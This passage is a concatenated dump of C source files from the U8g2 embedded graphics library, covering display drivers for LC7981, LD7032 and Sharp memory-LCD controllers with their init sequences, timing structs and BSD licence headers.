&u8x8_lc7981_240x64_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_lc7981_240x64_init_seq); break; default: return 0; /* msg unknown */ } } return 1; } /*================================================*/ /* LC7981 128x128 LCD, https://github.com/olikraus/u8g2/issues/1913*/ static const u8x8_display_info_t u8x8_lc7981_128x128_display_info = { /* chip_enable_level = */ 0, /* LC7981 has a low active CS*/ /* chip_disable_level = */ 1, /* from here... */ /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 20, /* reset_pulse_width_ms = */ 1, /* post_reset_wait_ms = */ 10, /* sda_setup_time_ns = */ 30, /* sck_pulse_width_ns = */ 65, /* half of cycle time */ /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* ... to here, values are ignored, because this is a parallel interface only */ /* data_setup_time_ns = */ 220, /* write_pulse_width_ns = */ 20, /* tile_width = */ 16, /* width of 16*8=128 pixel */ /* tile_height = */ 16, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 128, /* pixel_height = */ 128 }; static const uint8_t u8x8_d_lc7981_128x128_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_DLY(50), U8X8_CA(0x00, 0x32), /* display on (bit 5), master mode on (bit 4), graphics mode on (bit 1) */ U8X8_CA(0x01, 0x07), /* character/bits per pixel pitch */ U8X8_CA(0x02, 128/8-1), /* number of chars/byte width of the screen */ U8X8_CA(0x03, 128), /* time division, issue https://github.com/olikraus/u8g2/issues/1581 */ U8X8_CA(0x08, 0x00), /* display start low */ U8X8_CA(0x09, 0x00), /* display start high */ U8X8_DLY(10), U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_lc7981_128x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { /* call common procedure first and handle messages there */ if ( u8x8_d_lc7981_common(u8x8, msg, arg_int, arg_ptr) == 0 ) { /* msg not handled, then try here */ switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_lc7981_128x128_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_lc7981_128x128_init_seq); break; default: return 0; /* msg unknown */ } } return 1; } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_ld7032_60x32.c ================================================ /* u8x8_d_ld7032_60x32.c Note: Flip Mode is NOT supported Also contains 128x36 OLED variant Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2023, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8x8.h" /* testboard U8GLIB_LD7032_60x32 u8g(11, 12, 9, 10, 8); // SPI Com: SCK = 11, MOSI = 12, CS = 9, A0 = 10, RST = 8 (SW SPI Nano Board) */ /* http://www.seeedstudio.com/document/pdf/0.5OLED%20SPEC.pdf */ #ifdef OBSOLETE static const uint8_t u8x8_d_ld7032_60x32_init_seq_old[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ //U8X8_CA(0x002, 0x001), /* Dot Matrix Display ON */ U8X8_CA(0x014, 0x000), /* Stand-by OFF */ U8X8_CA(0x01a, 0x004), /* Dot Matrix Frame Rate, special value for this OLED from manual*/ U8X8_CA(0x01d, 0x000), /* Graphics Memory Writing Direction: reset default (right down, horizontal) */ U8X8_CA(0x009, 0x000), /* Display Direction: reset default (x,y: min --> max) */ U8X8_CAA(0x030, 0x000, 0x03b), /* Display Size X, Column Start - End*/ U8X8_CAA(0x032, 0x000, 0x01f), /* Display Size Y, Row Start - End*/ U8X8_CA(0x010, 0x000), /* Peak Pulse Width Set: 0 SCLK */ U8X8_CA(0x016, 0x000), /* Peak Pulse Delay Set: 0 SCLK */ U8X8_CA(0x012, 0x040), /* Dot Matrix Current Level Set: 0x050 * 1 uA = 80 uA */ U8X8_CA(0x018, 0x003), /* Pre-Charge Pulse Width: 3 SCLK */ U8X8_CA(0x044, 0x002), /* Pre-Charge Mode: Every Time */ U8X8_CA(0x048, 0x003), /* Row overlap timing: Pre-Charge + Peak Delay + Peak boot Timing */ U8X8_CA(0x03f, 0x011), /* VCC_R_SEL: ??? */ U8X8_CA(0x03d, 0x000), /* VSS selection: 2.8V */ //U8X8_CA(0x002, 0x001), /* Dot Matrix Display ON */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; #endif /* new sequence https://github.com/olikraus/u8g2/issues/865 */ static const uint8_t u8x8_d_ld7032_60x32_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(0x02, 0x00), /* Dot Matrix Display OFF */ U8X8_CA(0x14, 0x00), /* Stand-by OFF, OSCA Start */ U8X8_CA(0x1a, 0x04), /* Dot Matrix Frame Rate, special value for this OLED from manual 4 => 120Hz*/ U8X8_CA(0x1d, 0x00), /* Graphics Memory Writing Direction: reset default (right down, horizontal) */ U8X8_CA(0x09, 0x00), /* Display Direction: reset default (x,y: min --> max) */ U8X8_CAA(0x30, 0x00, 0x3B), /* Display Size X, Column Start - End 0-0x3b(59)*/ U8X8_CAA(0x32, 0x00, 0x1F), /* Display Size Y, Row Start - End 0-0x1f(31)*/ U8X8_CA(0x34, 0x00), /* Data Reading/Writing Box X start */ U8X8_CA(0x35, 0x07), /* Data Reading/Writing Box X end */ U8X8_CA(0x36, 0x00), /* Data Reading/Writing Box Y start */ U8X8_CA(0x37, 0x1F), /* Data Reading/Writing Box Y end */ U8X8_CA(0x38, 0x00), /* Display Start Address X */ U8X8_CA(0x39, 0x00), /* Display Start Address Y */ U8X8_CA(0x10, 0x00), /* Peak Pulse Width Set: 0 SCLK */ U8X8_CA(0x16, 0x00), /* Peak Pulse Delay Set: 0 SCLK */ U8X8_CA(0x12, 0x40), /* 0x32, 0x50 or 0x40 Dot Matrix Current Level Set: 0x050 * 1 uA = 80 uA */ U8X8_CA(0x18, 0x03), /* Pre-Charge Pulse Width: 3 SCLK */ U8X8_CA(0x44, 0x02), /* Pre-Charge Mode: Every Time */ U8X8_CA(0x48, 0x03), /* Row overlap timing: Pre-Charge + Peak Delay + Peak boot Timing */ U8X8_CA(0x17, 0x00), /* Row Scan */ U8X8_CA(0x13, 0x00), /* Row Scan Sequence Setting */ U8X8_CA(0x1C, 0x00), /* Data Reverse */ U8X8_CA(0x3f, 0x11), /* VCC_R_SEL: Internal Regulator enabled(D4=1) and VCC_R=VCC_C*0.7(D0=1) */ U8X8_CA(0x3d, 0x00), /* VSS selection: 2.8V */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ld7032_60x32_powersave0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(0x002, 0x001), /* Dot Matrix Display ON */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ld7032_60x32_powersave1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(0x002, 0x000), /* Dot Matrix Display ON */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ld7032_60x32_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(0x009, 0x000), /* Display Direction: reset default (x,y: min --> max) */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ld7032_60x32_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ //U8X8_CA(0x009, 0x002), /* Display Direction: reset default (x,y: min --> max) */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static uint8_t u8x8_d_ld7032_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x, c; uint8_t *ptr; switch(msg) { /* handled by the calling function case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ld7032_60x32_display_info); break; */ case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ld7032_60x32_init_seq); break; case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_ld7032_60x32_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_ld7032_60x32_powersave1_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_ld7032_60x32_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_ld7032_60x32_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x012 ); if ( arg_int > 0x07f ) /* default is 0x040, limit to 0x07f to be on the safe side (hopefully) */ arg_int= 0x07f; u8x8_cad_SendArg(u8x8, arg_int ); /* values from 0x00 to 0x0ff are allowed, bit will all values be safe??? */ u8x8_cad_EndTransfer(u8x8); break; #endif case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x += u8x8->x_offset/8; u8x8_cad_SendCmd(u8x8, 0x034 ); u8x8_cad_SendArg(u8x8, x ); u8x8_cad_SendCmd(u8x8, 0x035 ); u8x8_cad_SendArg(u8x8, 0x007 ); u8x8_cad_SendCmd(u8x8, 0x036 ); u8x8_cad_SendArg(u8x8, (((u8x8_tile_t *)arg_ptr)->y_pos)*8 ); u8x8_cad_SendCmd(u8x8, 0x037 ); u8x8_cad_SendArg(u8x8, 0x01f ); u8x8_cad_SendCmd(u8x8, 0x008 ); do { c = ((u8x8_tile_t *)arg_ptr)->cnt; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; u8x8_cad_SendData(u8x8, c*8, ptr); /* note: SendData can not handle more than 255 bytes */ arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); break; default: return 0; } return 1; } static const u8x8_display_info_t u8x8_ld7032_60x32_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 15, /* pre_chip_disable_wait_ns = */ 20, /* reset_pulse_width_ms = */ 100, /* post_reset_wait_ms = */ 100, /* sda_setup_time_ns = */ 30, /* 20ns, but cycle time is 60ns, so use 60/2 */ /* sck_pulse_width_ns = */ 30, /* 20ns, but cycle time is 60ns, so use 60/2 */ /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 20, /* write_pulse_width_ns = */ 40, /* tile_width = */ 8, /* tile_height = */ 4, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 60, /* pixel_height = */ 32 }; uint8_t u8x8_d_ld7032_60x32(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY ) { u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ld7032_60x32_display_info); return 1; } return u8x8_d_ld7032_generic(u8x8, msg, arg_int, arg_ptr); } /* alternative version, issue #1189 */ /* new sequence https://github.com/olikraus/u8g2/issues/1189 */ static const uint8_t u8x8_d_ld7032_60x32_alt_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(0x02, 0x00), U8X8_CA(0x14, 0x00), U8X8_CA(0x1A, 0x05), U8X8_CA(0x1D, 0x00), U8X8_CA(0x09, 0x00), U8X8_CAA(0x30, 0x00, 0x3F), U8X8_CAA(0x32, 0x08, 0x27), U8X8_CA(0x34, 0x00), U8X8_CA(0x35, 0x07), U8X8_CA(0x36, 0x08), U8X8_CA(0x37, 0x27), U8X8_CA(0x38, 0x00), U8X8_CA(0x39, 0x20), U8X8_CA(0x10, 0x05), U8X8_CA(0x16, 0x00), U8X8_CA(0x18, 0x08), U8X8_CA(0x12, 0x2F), U8X8_CA(0x3D, 0x01), U8X8_CA(0x3F, 0x10), U8X8_CA(0x44, 0x02), U8X8_CA(0x48, 0x03), U8X8_CA(0x17, 0x00), U8X8_CA(0x13, 0x01), U8X8_CA(0x3F, 0x11), // internal regulator enabled, vcc_c * 0.7 U8X8_CA(0x3D, 0x00), U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_ld7032_60x32_alt(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY ) { u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ld7032_60x32_display_info); return 1; } if ( msg ==U8X8_MSG_DISPLAY_INIT ) { u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ld7032_60x32_alt_init_seq); return 1; } return u8x8_d_ld7032_generic(u8x8, msg, arg_int, arg_ptr); } /*==========================================*/ /* 128x36 Flip Mode is NOT supported see https://github.com/olikraus/u8g2/issues/2135 */ static uint8_t u8x8_d_ld7032_128_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x, c; uint8_t *ptr; switch(msg) { /* handled by the calling function case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ld7032_60x32_display_info); break; */ case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ld7032_60x32_init_seq); break; case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_ld7032_60x32_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_ld7032_60x32_powersave1_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_ld7032_60x32_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_ld7032_60x32_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x012 ); if ( arg_int > 0x07f ) /* default is 0x040, limit to 0x07f to be on the safe side (hopefully) */ arg_int= 0x07f; u8x8_cad_SendArg(u8x8, arg_int ); /* values from 0x00 to 0x0ff are allowed, bit will all values be safe??? */ u8x8_cad_EndTransfer(u8x8); break; #endif case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x += u8x8->x_offset/8; u8x8_cad_SendCmd(u8x8, 0x034 ); u8x8_cad_SendArg(u8x8, x ); u8x8_cad_SendCmd(u8x8, 0x035 ); u8x8_cad_SendArg(u8x8, 0x00f ); u8x8_cad_SendCmd(u8x8, 0x036 ); u8x8_cad_SendArg(u8x8, (((u8x8_tile_t *)arg_ptr)->y_pos)*8 ); u8x8_cad_SendCmd(u8x8, 0x037 ); u8x8_cad_SendArg(u8x8, 0x027 ); u8x8_cad_SendCmd(u8x8, 0x008 ); do { c = ((u8x8_tile_t *)arg_ptr)->cnt; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; u8x8_cad_SendData(u8x8, c*8, ptr); /* note: SendData can not handle more than 255 bytes */ arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); break; default: return 0; } return 1; } static const u8x8_display_info_t u8x8_ld7032_128x36_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 15, /* pre_chip_disable_wait_ns = */ 20, /* reset_pulse_width_ms = */ 100, /* post_reset_wait_ms = */ 100, /* sda_setup_time_ns = */ 30, /* 20ns, but cycle time is 60ns, so use 60/2 */ /* sck_pulse_width_ns = */ 30, /* 20ns, but cycle time is 60ns, so use 60/2 */ /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 20, /* write_pulse_width_ns = */ 40, /* tile_width = */ 16, /* tile_height = */ 5, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 128, /* pixel_height = */ 36 }; static const uint8_t u8x8_d_ld7032_128x36_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(0x14, 0x00), // standby mode U8X8_CA(0x02, 0x00), // display off U8X8_CA(0x1A, 0x05), // frame frequency U8X8_CA(0x1D, 0x00), // data write direction (datasheet: 1d 0b U8X8_CA(0x09, 0x00), // scan direction U8X8_CAA(0x30, 0x00, 0x7F), // column driver active range U8X8_CAA(0x32, 0x04, 0x27), // row driver active range U8X8_CA(0x34, 0x00), // start line U8X8_CA(0x35, 0x0f), // end line U8X8_CA(0x36, 0x04), // row start line U8X8_CA(0x37, 0x27), // row end line U8X8_CA(0x38, 0x00), // x disp start, default 0 U8X8_CA(0x39, 0x00), // y disp start, default 0 U8X8_CA(0x10, 0x1f), // peak pulse width U8X8_CA(0x16, 0x05), // pulse delay width U8X8_CA(0x18, 0x1f), // pre charge width U8X8_CA(0x12, 0x3F), // contrast control U8X8_CA(0x44, 0x02), // PreC select, default: 2 //U8X8_CA(0x48, 0x00), // row overlap, default: 0 (was 3) U8X8_CA(0x17, 0x00), // row scan, default: 0 U8X8_CA(0x13, 0x01), // scan mode sequence //U8X8_CA(0x3F, 0x11), // VCC R Selection, default: 0 (int. reg. disabled, vcc_c*0.8) U8X8_CA(0x3D, 0x01), // vdd selection 0: 2.8V-3.5, 1: 1.8V (1.65-2.5V) U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_ld7032_128x36(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY ) { u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ld7032_128x36_display_info); return 1; } if ( msg ==U8X8_MSG_DISPLAY_INIT ) { u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ld7032_128x36_init_seq); return 1; } return u8x8_d_ld7032_128_generic(u8x8, msg, arg_int, arg_ptr); } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_ls013b7dh03.c ================================================ /* u8x8_d_ls013b7dh03.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2016, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. The LS013B7DH02 is a simple display and controller --> no support for contrast adjustment, flip and power down. */ #include "u8x8.h" #define SWAP8(a) ((((a) & 0x80) >> 7) | (((a) & 0x40) >> 5) | (((a) & 0x20) >> 3) | (((a) & 0x10) >> 1) | (((a) & 0x08) << 1) | (((a) & 0x04) << 3) | (((a) & 0x02) << 5) | (((a) & 0x01) << 7)) #define LS013B7DH03_CMD_UPDATE (0x01) #define LS013B7DH03_CMD_ALL_CLEAR (0x04) #define LS013B7DH03_VAL_TRAILER (0x00) static const u8x8_display_info_t u8x8_ls013b7dh03_128x128_display_info = { /* chip_enable_level = */ 1, /* chip_disable_level = */ 0, /* post_chip_enable_wait_ns = */ 50, /* pre_chip_disable_wait_ns = */ 50, /* reset_pulse_width_ms = */ 1, /* post_reset_wait_ms = */ 6, /* sda_setup_time_ns = */ 227, /* 227 nsec according to the datasheet */ /* sck_pulse_width_ns = */ 255, /* 450 nsec according to the datasheet */ /* sck_clock_hz = */ 1000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* changed from 2 to 0 (https://github.com/olikraus/u8g2/issues/1771) */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 100, /* write_pulse_width_ns = */ 100, /* tile_width = */ 16, /* tile_height = */ 16, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 128, /* pixel_height = */ 128 }; uint8_t u8x8_d_ls013b7dh03_128x128(u8x8_t *u8x8, uint8_t msg, U8X8_UNUSED uint8_t arg_int, void *arg_ptr) { uint8_t y, c, i; uint8_t *ptr; switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ls013b7dh03_128x128_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); /* clear screen */ u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, SWAP8(LS013B7DH03_CMD_ALL_CLEAR) ); u8x8_cad_SendCmd(u8x8, LS013B7DH03_VAL_TRAILER); u8x8_cad_EndTransfer(u8x8); break; case U8X8_MSG_DISPLAY_SET_POWER_SAVE: /* not available for the ls013b7dh03 */ break; case U8X8_MSG_DISPLAY_DRAW_TILE: /* each tile is 8 lines, with the data starting at the left edge */ y = ((((u8x8_tile_t *)arg_ptr)->y_pos) * 8) + 1; c = ((u8x8_tile_t *)arg_ptr)->cnt; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; /* send data mode byte */ u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, SWAP8(LS013B7DH03_CMD_UPDATE) ); /* send 8 lines of 16 bytes (=128 pixels) */ for( i = 0; i < 8; i++ ) { u8x8_cad_SendCmd(u8x8, SWAP8(y + i) ); u8x8_cad_SendData(u8x8, c, ptr); u8x8_cad_SendCmd(u8x8, LS013B7DH03_VAL_TRAILER); ptr += c; } /* finish with a trailing byte */ u8x8_cad_SendCmd(u8x8, LS013B7DH03_VAL_TRAILER); u8x8_cad_EndTransfer(u8x8); break; default: return 0; } return 1; } static const u8x8_display_info_t u8x8_ls027b7dh01_400x240_display_info = { /* chip_enable_level = */ 1, /* chip_disable_level = */ 0, /* post_chip_enable_wait_ns = */ 50, /* pre_chip_disable_wait_ns = */ 50, /* reset_pulse_width_ms = */ 1, /* post_reset_wait_ms = */ 6, /* sda_setup_time_ns = */ 227, /* 227 nsec according to the datasheet */ /* sck_pulse_width_ns = */ 255, /* 450 nsec according to the datasheet */ /* sck_clock_hz = */ 1000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* changed from 2 to 0 (https://github.com/olikraus/u8g2/issues/1771) */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 100, /* write_pulse_width_ns = */ 100, /* tile_width = */ 50, /* tile_height = */ 30, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 400, /* pixel_height = */ 240 }; uint8_t u8x8_d_ls027b7dh01_400x240(u8x8_t *u8x8, uint8_t msg, U8X8_UNUSED uint8_t arg_int, void *arg_ptr) { switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ls027b7dh01_400x240_display_info); break; default: return u8x8_d_ls013b7dh03_128x128(u8x8, msg, arg_int, arg_ptr); } return 1; } static const u8x8_display_info_t u8x8_ls027b7dh01_m0_400x240_display_info = { /* chip_enable_level = */ 1, /* chip_disable_level = */ 0, /* post_chip_enable_wait_ns = */ 50, /* pre_chip_disable_wait_ns = */ 50, /* reset_pulse_width_ms = */ 1, /* post_reset_wait_ms = */ 6, /* sda_setup_time_ns = */ 227, /* 227 nsec according to the datasheet */ /* sck_pulse_width_ns = */ 255, /* 450 nsec according to the datasheet */ /* sck_clock_hz = */ 1000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active low, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 100, /* write_pulse_width_ns = */ 100, /* tile_width = */ 50, /* tile_height = */ 30, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 400, /* pixel_height = */ 240 }; uint8_t u8x8_d_ls027b7dh01_m0_400x240(u8x8_t *u8x8, uint8_t msg, U8X8_UNUSED uint8_t arg_int, void *arg_ptr) { switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ls027b7dh01_m0_400x240_display_info); break; default: return u8x8_d_ls013b7dh03_128x128(u8x8, msg, arg_int, arg_ptr); } return 1; } static const u8x8_display_info_t u8x8_ls013b7dh05_144x168_display_info = { /* chip_enable_level = */ 1, /* chip_disable_level = */ 0, /* post_chip_enable_wait_ns = */ 50, /* pre_chip_disable_wait_ns = */ 50, /* reset_pulse_width_ms = */ 1, /* post_reset_wait_ms = */ 6, /* sda_setup_time_ns = */ 227, /* 227 nsec according to the datasheet */ /* sck_pulse_width_ns = */ 255, /* 450 nsec according to the datasheet */ /* sck_clock_hz = */ 1000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* changed from 2 to 0 (https://github.com/olikraus/u8g2/issues/1771) */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 100, /* write_pulse_width_ns = */ 100, /* tile_width = */ 18, /* tile_height = */ 21, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 144, /* pixel_height = */ 168 }; uint8_t u8x8_d_ls013b7dh05_144x168(u8x8_t *u8x8, uint8_t msg, U8X8_UNUSED uint8_t arg_int, void *arg_ptr) { switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ls013b7dh05_144x168_display_info); break; default: return u8x8_d_ls013b7dh03_128x128(u8x8, msg, arg_int, arg_ptr); } return 1; } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_max7219.c ================================================ /* u8x8_d_max7219.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2017, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following 